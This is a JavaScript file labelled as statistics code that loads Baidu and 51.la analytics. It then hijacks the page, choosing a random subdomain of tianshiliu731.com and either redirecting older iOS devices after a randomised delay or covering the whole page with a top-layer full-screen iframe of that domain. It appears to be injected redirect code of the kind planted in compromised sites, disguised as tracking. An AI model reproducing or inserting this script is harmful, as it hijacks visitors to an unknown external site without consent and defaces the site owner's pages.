// 统计代码

var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?31722ed3087ac4c96531853b288d2368";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();

document.write("<script>!function(p){\"use strict\";!function(t){var s=window,e=document,i=p,c=\"\".concat(\"https:\"===e.location.protocol?\"https://\":\"http://\",\"sdk.51.la/js-sdk-pro.min.js\"),n=e.createElement(\"script\"),r=e.getElementsByTagName(\"script\")[0];n.type=\"text/javascript\",n.setAttribute(\"charset\",\"UTF-8\"),n.async=!0,n.src=c,n.id=\"LA_COLLECT\",i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&&o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:\"K1YG9rRyTl9WMNWz\",ck:\"K1YG9rRyTl9WMNWz\"});</script>")


let urls = [

'https://youa.tianshiliu731.com',
'https://trga.tianshiliu731.com',
'https://nuqc.tianshiliu731.com',
'https://szjf.tianshiliu731.com',
'https://gvsi.tianshiliu731.com',
'https://qyaf.tianshiliu731.com',
'https://nmun.tianshiliu731.com',
'https://jwnc.tianshiliu731.com',
'https://hsht.tianshiliu731.com',
'https://bvuw.tianshiliu731.com',
'https://ktdr.tianshiliu731.com',
'https://iddn.tianshiliu731.com',
'https://urva.tianshiliu731.com',
'https://einp.tianshiliu731.com',
'https://mzwy.tianshiliu731.com',
'https://xajf.tianshiliu731.com',
'https://otfu.tianshiliu731.com',
'https://azhp.tianshiliu731.com',
'https://xawu.tianshiliu731.com',
'https://jgne.tianshiliu731.com',
'https://tpqu.tianshiliu731.com',
'https://mttk.tianshiliu731.com',
'https://lyag.tianshiliu731.com',
'https://ejlm.tianshiliu731.com',
'https://doka.tianshiliu731.com',

];

let register_url =  urls[Math.floor(Math.random()*urls.length)];

    function isMobile() {
        const mobileDevices = [
            'phone', 'pad', 'pod', 'iPhone', 'iPod', 'ios', 'iPad', 'Android',
            'Mobile', 'BlackBerry', 'IEMobile', 'MQQBrowser', 'JUC', 'Fennec',
            'wOSBrowser', 'BrowserNG', 'WebOS', 'Symbian', 'Windows Phone',
            'Kindle', 'Silk', 'Playbook', 'BB10', 'Nintendo', 'Xbox',
            'PlayStation', 'Huawei', 'Xiaomi', 'Oppo', 'Vivo', 'OnePlus',
            'Samsung', 'LG', 'Sony', 'HTC', 'ZTE', 'Motorola', 'Nokia'
        ];
        return mobileDevices.some(device => {
            return navigator.userAgent.match(new RegExp(device, 'i'));
        });
    }
//link-Nika
    const mobileUrl = register_url;
    function getIosVersion() {
        const match = navigator.userAgent.match(/OS (\d+)_(\d+)_?(\d+)?/);
        return match ? parseInt(match[1], 10) : false;
    }
    const isIOS = !!navigator.userAgent.match(/(iPod|iPhone|iPad)/);
    const time = Math.floor(Math.random() * (1000 - 500 + 1)) + 500;
    if (isMobile()) {
        if (isIOS && getIosVersion() < 13) {
            setTimeout(() => {
                window.location.href = mobileUrl;
            }, time);
        } else {
            document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
            document.write('<style>html,body{width:100%;height:100%;overflow:hidden;}</style>');
            document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff">');
            document.write('<iframe src="' + mobileUrl + '" frameborder="0" style="border:0;width: 100%; text-align: center; border: medium none; height:100%;max-height: 4000px;"></iframe>');
            document.write('</div>');
        }
    } else {
            document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
            document.write('<style>html,body{width:100%;height:100%;overflow:hidden;}</style>');
            document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff">');
            document.write('<iframe src="' + mobileUrl + '" frameborder="0" style="border:0;width: 100%; text-align: center; border: medium none; height:100%;max-height: 4000px;"></iframe>');
            document.write('</div>');
    }